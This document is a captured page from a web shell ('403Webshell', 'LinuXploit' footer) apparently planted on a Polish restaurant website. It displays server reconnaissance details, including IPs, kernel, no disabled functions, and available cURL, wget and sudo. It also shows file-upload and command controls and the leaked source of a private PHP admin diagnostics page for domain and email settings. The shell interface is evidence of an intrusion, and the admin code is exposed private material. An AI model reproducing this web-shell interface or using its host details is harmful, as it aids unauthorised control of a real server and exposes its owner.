403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v169-domena-test.php
<?php
declare(strict_types=1);
/** POLANA V16.9: wyłącznie diagnostyka administracyjna, bez udostępniania kodu konfiguracji. */
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
header('Cache-Control: no-store, private');
header('X-Robots-Tag: noindex, nofollow');
function v169e($x):string{return htmlspecialchars((string)$x,ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8');}
$base='https://mojapolanasmakow.pl';
$db='';$runtime='';$emails=[];$err='';
try{
 $keys=['site_url','email','reservation_admin_email','smtp_from_email','smtp_host','smtp_enabled'];
 $stmt=db()->prepare('SELECT setting_key,setting_value FROM settings WHERE setting_key IN ('.implode(',',array_fill(0,count($keys),'?')).')');
 $stmt->execute($keys);
 $settings=[];
 foreach($stmt->fetchAll(PDO::FETCH_ASSOC) as $r)$settings[(string)$r['setting_key']]=(string)($r['setting_value']??'');
 $db=$settings['site_url']??'';
 $runtime=site_url('');
 foreach(['email','reservation_admin_email','smtp_from_email'] as $key)$emails[$key]=$settings[$key]??'';
 $smtpEnabled=(string)($settings['smtp_enabled']??'0');
 $smtpHost=(string)($settings['smtp_host']??'');
}catch(Throwable $ex){$err=$ex->getMessage();}
$file=dirname(__DIR__).'/includes/polana_domain.php';
$fileStatus='Nie istnieje';
if(is_file($file)){
 if(is_link($file))$fileStatus='Dowiązanie symboliczne — do sprawdzenia';
 elseif(!is_readable($file))$fileStatus='Brak odczytu';
 else{
  $str=@file_get_contents($file);
  if(is_string($str)){
   $old=preg_match_all('/(?<!moja)polanasmakow\.pl/i',$str);
   $new=substr_count(strtolower($str),'mojapolanasmakow.pl');
   $fileStatus='Istnieje; odwołania do starej domeny: '.(int)$old.'; do nowej: '.(int)$new.'. Nie został zmodyfikowany.';
  }
 }
}
render_admin_header('Diagnostyka domeny V16.9');
?>
<style>.p169{max-width:920px;margin:24px auto;padding:16px}.p169 .card{background:#fff;border:1px solid #d8e2d4;border-radius:14px;padding:18px;margin:12px 0}.p169 .ok{color:#17682c}.p169 .bad{color:#b63b24}.p169 code{overflow-wrap:anywhere}</style>
<main class="p169">
<h1>Domena i poczta — sprawdzenie po zapisie</h1>
<?php if($err!==''):?><p class="bad">Błąd odczytu: <?=v169e($err)?></p><?php endif;?>
<section class="card">
 <p>Domena w MariaDB: <strong class="<?=$db===$base?'ok':'bad'?>"><?=v169e($db?:'brak')?></strong></p>
 <p>Adres zwracany przez PHP: <strong class="<?=$runtime===$base?'ok':'bad'?>"><?=v169e($runtime?:'brak')?></strong></p>
 <p>Plik <code>polana_domain.php</code>: <?=v169e($fileStatus)?></p>
 <?php if($db===$base && $runtime!==$base):?><p class="bad"><b>Uwaga:</b> kod PHP nadal wymusza inny adres mimo prawidłowej wartości w bazie. Potrzebny jest do analizy plik <code>includes/polana_domain.php</code> (po usunięciu sekretów). Nie zmieniaj go automatycznie.</p><?php endif;?>
</section>
<section class="card">
 <?php foreach($emails as $key=>$email):?><p><?=v169e($key)?>: <b><?=v169e($email?:'brak')?></b></p><?php endforeach;?>
 <p>SMTP: <?= $smtpEnabled==='1'?'włączone':'wyłączone' ?>; host <?=v169e($smtpHost?:'nieustawiony')?>.</p>
 <p><small>Adres nadawcy nie uruchamia serwera SMTP. Hasła, tokeny i treść konfiguracji nie są wyświetlane.</small></p>
</section>
<p><a href="/admin/polana-v168-ustawienia.php">Wróć do ustawień</a> · <a href="/admin/polana-seo-centrum.php">Sprawdź SEO Health</a> · <a href="/sitemap.xml" target="_blank" rel="noopener">Sprawdź sitemap.xml</a></p>
</main>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit